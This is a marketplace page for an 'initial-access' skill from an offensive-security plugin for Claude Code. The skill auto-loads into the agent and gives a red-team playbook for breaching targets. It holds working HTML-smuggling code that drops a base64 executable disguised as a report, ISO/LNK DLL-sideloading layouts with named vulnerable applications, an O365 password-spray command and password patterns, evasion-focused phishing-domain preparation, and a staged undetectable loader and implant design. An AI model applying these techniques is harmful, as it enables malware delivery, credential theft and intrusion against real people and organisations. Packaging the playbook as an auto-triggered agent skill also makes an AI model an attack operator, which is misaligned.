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Skill

/initial-access

Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation

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From plugin
offensive-claude
36337 skills8 agents18 commands1 hook
Install
$ npx -y skills add hypnguyen1209/offensive-claude --skill initial-access --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/initial-access

Context preview

The summary Claude sees to decide when to auto-load this skill.

Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation

SKILL.md

initial-access.SKILL.md
name: initial-access
description: Use when gaining initial access to a target — phishing, payload delivery, HTML smuggling, ISO/IMG/MOTW bypass, supply-chain, credential stuffing, exposed-service exploitation
metadata:
  type: offensive
  phase: initial-access
  mitre: TA0001
kill_chain:
  phase: [delivery]
  step: [3]
  attck_tactics: [TA0001]
depends_on: [recon-osint, exploit-development, edr-evasion]
feeds_into: [red-team-ops]
inputs: [target_profile, payload, evasion_technique]
outputs: [initial_foothold, delivery_report]

Initial Access

When to Activate

  • Planning initial access phase of red team engagement
  • Developing phishing campaigns and payload delivery
  • Bypassing email gateways and endpoint protection
  • Exploiting exposed services for initial foothold

Attack Vectors

Email-Based (Phishing)

**Payload Delivery Formats** (bypass probability):

  • `.exe` — almost always blocked
  • `.iso/.img` — bypasses MOTW (Mark of the Web) on older Windows
  • `.html` (smuggling) — high success rate
  • `.pdf` with embedded JS — moderate
  • `.one` (OneNote) — effective until patched
  • `.lnk` + DLL sideload — high success in ISO container
  • `.pptm/.ppsm/.accde` — often not covered by default protection

**Domain Preparation**:

  • Domain age > 2 weeks (warm up with legitimate emails first)
  • Use HTTPS with valid certificate
  • Category: business/technology (not "newly registered")
  • SPF, DKIM, DMARC properly configured
  • Send legitimate emails first to build reputation

HTML Smuggling

<!-- Construct binary blob in JavaScript, trigger download -->
<html>
<body>
<script>
function smuggle() {
    var bin = atob("TVqQAAMAAAAEAAAA..."); // base64 PE
    var blob = new Blob([new Uint8Array([...bin].map(c=>c.charCodeAt(0)))], 
                        {type: 'application/octet-stream'});
    var url = URL.createObjectURL(blob);
    var a = document.createElement('a');
    a.href = url;
    a.download = 'Report_Q4_2026.iso';
    a.click();
}
smuggle();
</script>
<p>Loading document...</p>
</body>
</html>

ISO/IMG Container (MOTW Bypass)

# Structure inside ISO:
├── Report.lnk          # Shortcut that executes the DLL
├── legitimate.exe      # Signed binary vulnerable to DLL sideload
└── payload.dll         # Malicious DLL loaded by legitimate.exe

# LNK target: legitimate.exe (which loads payload.dll from same directory)
# Files inside ISO don't inherit MOTW → bypass SmartScreen

**Note**: Windows 11 22H2+ propagates MOTW into ISO contents. Use alternative containers or delivery methods for newer targets.

OneNote (.one) Payload

# Embed .bat/.hta behind fake "Double click to view" image
# User double-clicks → executes embedded script
# Effective because OneNote files are rarely blocked by email gateways

DLL Sideloading

# Find legitimate signed EXE that loads DLL from CWD:
# 1. Use Process Monitor: filter for NAME NOT FOUND on DLL loads
# 2. Common targets: teams.exe (ffmpeg.dll), onedrive, slack
# 3. Place malicious DLL alongside legitimate EXE in delivery package

# Popular sideload targets:
# - Microsoft Teams: ffmpeg.dll
# - OneDrive: secur32.dll
# - Slack: libEGL.dll
# - VS Code: wlanapi.dll (portable mode)

Credential-Based Access

Credential Stuffing

# Use breach databases to test against target services
# Tools: Hydra, Burp Intruder, custom scripts
# Targets: VPN portals, OWA, O365, Citrix, RDP

# O365 password spray (avoid lockout: 1 attempt per user per hour)
# Tools: MSOLSpray, Ruler, MailSniper
python3 msolspray.py --userlist users.txt --password 'Company2026!' --url https://login.microsoftonline.com

# Common patterns to try:
# Season+Year: Summer2026!, Winter2025!
# Company+digits: CompanyName1!, Corp2026#
# Month+Year: May2026!, January2026!

Exposed Service Exploitation

# VPN (Fortinet, Pulse Secure, Citrix, Palo Alto)
# Check for known CVEs: CVE-2023-27997 (Fortinet), CVE-2024-3400 (PAN-OS)
searchsploit fortinet
nuclei -u https://vpn.target.com -t cves/ -severity critical

# Exchange (ProxyShell, ProxyNotShell, OWASSRF)
# RDP (BlueKeep CVE-2019-0708 for legacy)
# Jenkins, GitLab, Confluence (common RCE CVEs)

Supply Chain

# Compromise trusted software update mechanism
# Inject into CI/CD pipeline
# Typosquatting on package managers (npm, PyPI)
# Compromise developer workstation → push malicious commit

Staged Payload Architecture

Stage 0 (Loader) — extremely light (<30KB), FUD
├── Self-contained, no external dependencies
├── Only job: download/extract/inject Stage 1
├── NOT .exe (use .dll sideload, .hta, .lnk+script)
└── Must bypass email gateway + endpoint AV

Stage 1 (Minimal Implant) — lightweight C2
├── 5-6 commands: ls, whoami, pwd, download, upload, execute
├── Persistent (registry, scheduled task)
├── FUD (may touch disk)
└── Used to deploy Stage 2 after recon

Stage 2 (Full C2) — Cobalt Strike, Sliver, Havoc
├── Full post-exploitation capability
├── In-memory only (never written to disk)
├── Deployed after AV/EDR assessment
└── Replace Stage 1 persistence with Stage 2

OPSEC for Initial Access

  • Warm up phishing domain 2+ weeks before engagement
  • Use legitimate email services (O365, Google Workspace) for sending
  • Limit number of GET elements and parameter names in URLs
  • Test payload against target's email gateway (if possible, get sample config)
  • Use HTTPS for all payload hosting
  • Kill date on all payloads (auto-destruct after engagement window)
  • Separate infrastructure per engagement phase (phishing ≠ C2)
  • Monitor for blue team interaction with your infrastructure

Delivery Alternatives

# QR code to attacker-controlled site (bypasses email URL scanning)
# Legitimate file-sharing links (OneDrive, Google Drive, Dropbox)
# Vishing (voice phishing) → guide target to download payload
# USB drop (physical access scenarios)
# Watering hole (compromise site frequented by targets)
# LinkedIn/social media DM with "job offer" document
Read more
Read it on GitHub ↗
Ships withoffensive-claude

A spec-driven offensive security framework for Claude Code — structured engagement workflows based on the Cyber Kill Chain, 31 kill-chain skills (multi-file progressive-disclosure) plus a discipline layer (a SessionStart dispatcher + 6 process/discipline

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Repo: hypnguyen1209/offensive-claude

In this plugin
37 skills18 commands8 agents1 hook
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